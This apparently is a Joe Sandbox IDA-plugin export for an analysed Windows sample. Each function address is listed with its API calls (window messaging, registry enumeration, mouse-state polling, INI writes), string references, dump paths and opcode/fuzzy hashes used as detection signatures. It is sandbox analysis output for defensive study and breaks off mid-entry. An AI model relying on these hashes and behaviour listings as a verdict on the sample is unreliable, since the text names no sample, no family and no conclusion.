API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 556acabd244d3d3cd4ef6300042e9ba0bc16c1043ac889284325f1e12bba8f04
Instruction ID: c77430436e10c2268d33c5a8b1fa57d73231769f74534662997da965476aa3cb
Opcode Fuzzy Hash: 556acabd244d3d3cd4ef6300042e9ba0bc16c1043ac889284325f1e12bba8f04
Instruction Fuzzy Hash: EF216235A00108AFCB11EFA5C885DAEB7F8EF49704F104069F509DB252DB31EA45DB61

Function 0033AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Part of subcall function 0033AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0033AA6F
Part of subcall function 0033AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 0033AA82
Part of subcall function 0033AA52: GetCurrentThreadId.KERNEL32 ref: 0033AA89
Part of subcall function 0033AA52: AttachThreadInput.USER32(00000000), ref: 0033AA90

GetFocus.USER32 ref: 0033AC2A

Part of subcall function 0033AA9B: GetParent.USER32(?), ref: 0033AAA9

GetClassNameW.USER32(?,?,00000100), ref: 0033AC73
EnumChildWindows.USER32(?,0033ACEB), ref: 0033AC9B
__swprintf.LIBCMT ref: 0033ACB5

Strings

%s%d, xrefs: 0033ACAF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: c8fd353b952523a7ef75f0a143c91cf537fa7a150284a4d841ccbf562e9a296f
Instruction ID: 1912eb8374d4fcc2ec9d0af2313c129ce27488fa2af3adc05ceab62de9f85ba0
Opcode Fuzzy Hash: c8fd353b952523a7ef75f0a143c91cf537fa7a150284a4d841ccbf562e9a296f
Instruction Fuzzy Hash: 3511AF75600209ABDF16BFA08DC5FEA77BCAB44710F004079FE88AA182DA705955DB71

Function 003422E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00342318

Strings

REMOVE, xrefs: 0034231E
KEYS, xrefs: 0034232F
APPEND, xrefs: 00342351
EXISTS, xrefs: 00342340

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: cffb9039ec56df123fee663ad46eaf5960febd523123fdb2347b1a3c387105d4
Instruction ID: ecebeff70815e04899fc726992914b6550037e9de25acde62f93b2d9c84947f6
Opcode Fuzzy Hash: cffb9039ec56df123fee663ad46eaf5960febd523123fdb2347b1a3c387105d4
Instruction Fuzzy Hash: 40117C38900118DBCF05EF94D9605EEB3B8FF15344F504069E8146B2A1EB366D06CF50

Function 0035F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0035F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0035F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0035F453
CloseHandle.KERNEL32(?), ref: 0035F4D4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 2425e615b6d5d0263f11403fd5fbfe28738757e153e9f9e180f43cc2de6f52b6
Instruction ID: 253a3aae8e63afa3e9e719480b3decce7ffb13ac0153bbfd38cdf1b45f4cdf73
Opcode Fuzzy Hash: 2425e615b6d5d0263f11403fd5fbfe28738757e153e9f9e180f43cc2de6f52b6
Instruction Fuzzy Hash: 0281D3B16503009FD721EF29DC82F2AB7E5AF48714F50881DF999DB292D7B0AC448F91

Function 00360697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0036147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0036040D,?,?), ref: 00361491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0036075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0036079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 003607E3
RegCloseKey.ADVAPI32(?,?), ref: 0036080F
RegCloseKey.ADVAPI32(00000000), ref: 0036081C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 0f65a73951fd32687c3d7886754abfe04cbb2a8f209f0a9e72e41f46b39923d7
Instruction ID: 86cb0e7ea8207043ffcd0d24e651a5d1319d7a12284958af2a437f15a9ebd123
Opcode Fuzzy Hash: 0f65a73951fd32687c3d7886754abfe04cbb2a8f209f0a9e72e41f46b39923d7
Instruction Fuzzy Hash: A1515A71218208AFD719EF64C882E6BB7E9FF84714F44892DF595872A1DB30E914CF52

Function 0034EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0034EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0034EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0034ECCA

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0034ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0034ECF7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 66206ba8721a148bcc71903501ee13f99b5cf0a0ca727d8b1eff1de2f76ee6d1
Instruction ID: 42ed96121259c6ebf4d0f268ceb52768613728a951bc1a0f8a004fe4b81867e8
Opcode Fuzzy Hash: 66206ba8721a148bcc71903501ee13f99b5cf0a0ca727d8b1eff1de2f76ee6d1
Instruction Fuzzy Hash: AD515A35A10109DFCB06EF65C985AAEBBF5FF08314B148099E849AB3A2CB31ED51CF50

Function 0036A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4c848b57a3ef789ca4c350d58c058ddf83585927cbc98545b1b6bd23461e8e
Instruction ID: 8b7f13fa9a1ce992586856d106a6727a7a0f88cb3e954f494d417ae292d9c226
Opcode Fuzzy Hash: cb4c848b57a3ef789ca4c350d58c058ddf83585927cbc98545b1b6bd23461e8e
Instruction Fuzzy Hash: 34412475900504AFC726DFA8CC88FA9BBBCEB0A310F168165F91AB72D5C770AD40DE51

Function 002E2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 002E2727
ScreenToClient.USER32(003A77B0,?), ref: 002E2744
GetAsyncKeyState.USER32(00000001), ref: 002E2769
GetAsyncKeyState.USER32(00000002), ref: 002E2777

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 195df0dafa79d19c777a80f10e1680aec6572734fb9c1abba44fc9f6aabcbf9b
Instruction ID: e8b376eeec1d59f2f0cdde73dc02a52ce28dac112fc2bfd0c4fc9adc9e98b222
Opcode Fuzzy Hash: 195df0dafa79d19c777a80f10e1680aec6572734fb9c1abba44fc9f6aabcbf9b
Instruction Fuzzy Hash: 7541A03555411AFFCF1A9F69C844AE9FB78FB09364F10831AF82996290C734ADA4DF90

Function 003395D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003395E8
PostMessageW.USER32(?,00000201,00000001), ref: 00339692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0033969A
PostMessageW.USER32(?,00000202,00000000), ref: 003396A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 003396B0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a6d46cf63089644b9b7b3e9feb1bd3727d035372941ce9793922cdce77af73a8
Instruction ID: b7c12ec1b91b449a52ccbd35a7b9f3e9073975be52cbf5b98b2584df732751fa
Opcode Fuzzy Hash: a6d46cf63089644b9b7b3e9feb1bd3727d035372941ce9793922cdce77af73a8
Instruction Fuzzy Hash: F631DF31500219EBDB15CF68D98DB9E7BB9FB44325F11421AF828AA1D0C3B09960CB90

Function 0033BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0033BD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0033BDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0033BDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0033BE18
_wcsstr.LIBCMT ref: 0033BE22

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 13f16e2a7df92c47d5a3fbcf723d971ea813da4442b67e7522aadfbcd147de37
Instruction ID: 33fd5574332965838debd79624969d05d187d48bf63698523310f2439f57ba9d
Opcode Fuzzy Hash: 13f16e2a7df92c47d5a3fbcf723d971ea813da4442b67e7522aadfbcd147de37
Instruction Fuzzy Hash: 6F212932205244BBEB275B39EC99EBBBB9CDF44760F114029FA09CE191EB61CC809260

Function 0036B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

GetWindowLongW.USER32(?,000000F0), ref: 0036B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0036B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0036B841
GetSystemMetrics.USER32(00000004), ref: 0036B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0035155C,00000000), ref: 0036B888

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 6b8d0f1031dbf06b92c17db9d4fedcb5586fd5a100bc450136d021d647705ab6
Instruction ID: df492d82ccc5cd6507b704dfee805405ec9f68f88291a8517a56d1497e0a8a60
Opcode Fuzzy Hash: 6b8d0f1031dbf06b92c17db9d4fedcb5586fd5a100bc450136d021d647705ab6
Instruction Fuzzy Hash: AF218031914265EFCB269F388C08A6AB7ACEB05320F218638F926D31E4D7308890CF90

Function 00339EBF Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00339ED8

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00339F0A
__itow.LIBCMT ref: 00339F22
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00339F4A
__itow.LIBCMT ref: 00339F5B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: ff116d509b84d6702386d27738acf21589be5e38d61543527026945de62c2152
Instruction ID: 3e300ed08c89d285759642810f8ebd051e366972da3a16b396e18c1097c81fa0
Opcode Fuzzy Hash: ff116d509b84d6702386d27738acf21589be5e38d61543527026945de62c2152
Instruction Fuzzy Hash: 5F21DA31701208FFEB129A648CC9FEE7BACEB89752F054026FA05DB181D6B1CD519BD1

Function 00356138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00356159
GetForegroundWindow.USER32 ref: 00356170
GetDC.USER32(00000000), ref: 003561AC
GetPixel.GDI32(00000000,?,00000003), ref: 003561B8
ReleaseDC.USER32(00000000,00000003), ref: 003561F3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: c4550373808f64b101781dfb0d4f5ffba30e7742fe167cff5dd0f7f25030c782
Instruction ID: 05c96a050cc78aeaada6976d3f84b70c3836596cbb402e1119b8e42c2a367932
Opcode Fuzzy Hash: c4550373808f64b101781dfb0d4f5ffba30e7742fe167cff5dd0f7f25030c782
Instruction Fuzzy Hash: 4721D135A00604EFD714EF65CC85AAEBBF8EF88311F008078F80A87262CA30AD44CB90

Function 002E16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002E1729
SelectObject.GDI32(?,00000000), ref: 002E1738
BeginPath.GDI32(?), ref: 002E174F
SelectObject.GDI32(?,00000000), ref: 002E1778

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 4346203e4f6d94427d9f5f03b3ed673ddfdbcd08106d010aedec55594e4cc43e
Instruction ID: 91123f2a32800412bb357853a48c81511687250e44d9bdc9482dd8ce4f3dd063
Opcode Fuzzy Hash: 4346203e4f6d94427d9f5f03b3ed673ddfdbcd08106d010aedec55594e4cc43e
Instruction Fuzzy Hash: 0421C530914249EFDB229F26DC897A9BBECFB02721F544225F819961A0D77899B1CF90

Function 0033C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0033C84C
_memcmp.LIBCMT ref: 0033C86A
_memcmp.LIBCMT ref: 0033C87D
_memcmp.LIBCMT ref: 0033C895
_memcmp.LIBCMT ref: 0033C8AD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 1659c513d275f98f37de76881cd409e6c033ab43f11c6304145b7edb47e400a7
Instruction ID: 497af8a80a8dc53b57b4b29ae38a614c133976409420638f1ed81ff0962e650d
Opcode Fuzzy Hash: 1659c513d275f98f37de76881cd409e6c033ab43f11c6304145b7edb47e400a7
Instruction Fuzzy Hash: BA01B562A112097BD21765119CD2FFB735C9E60384F048025FE0ABE783EB65DF1193E1

Function 0034504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00345075
__beginthreadex.LIBCMT ref: 00345093
MessageBoxW.USER32(?,?,?,?), ref: 003450A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 003450BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 003450C5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 1a0a0fddab334876e1094e4708ae429d02446742b9a4dfbf968fa155407a52e4
Instruction ID: ccfa32cfeba155a14407c160d407038178b08575a09226edb74b9d11cf3cc7d6
Opcode Fuzzy Hash: 1a0a0fddab334876e1094e4708ae429d02446742b9a4dfbf968fa155407a52e4
Instruction Fuzzy Hash: CC11047AD08608BBC7178BA89C48B9B7BECEB86320F14025AF818D7391D6719D4487F0

Function 00338E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00338E3C
GetLastError.KERNEL32(?,00338900,?,?,?), ref: 00338E46
GetProcessHeap.KERNEL32(00000008,?,?,00338900,?,?,?), ref: 00338E55
HeapAlloc.KERNEL32(00000000,?,00338900,?,?,?), ref: 00338E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00338E73

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: e406ba5c8dbce3420f44e53b1a2c906eb07329cda8d05c8805029a58397c0150
Instruction ID: e702d8b44611d4c156a3b30df5b722b64e9829e08b7182596965bd20da70fcb4
Opcode Fuzzy Hash: e406ba5c8dbce3420f44e53b1a2c906eb07329cda8d05c8805029a58397c0150
Instruction Fuzzy Hash: 9E018174200304FFDB264FA5DC88D6B7FADEF89756F100529F849C2220DB719C50CAA0

Function 003457FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0034581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00345829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00345831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0034583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00345877

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: bc8c201b3a5cc2088599cc34e41656a9fdcb49795157d5cd7aa5683c45c003b0
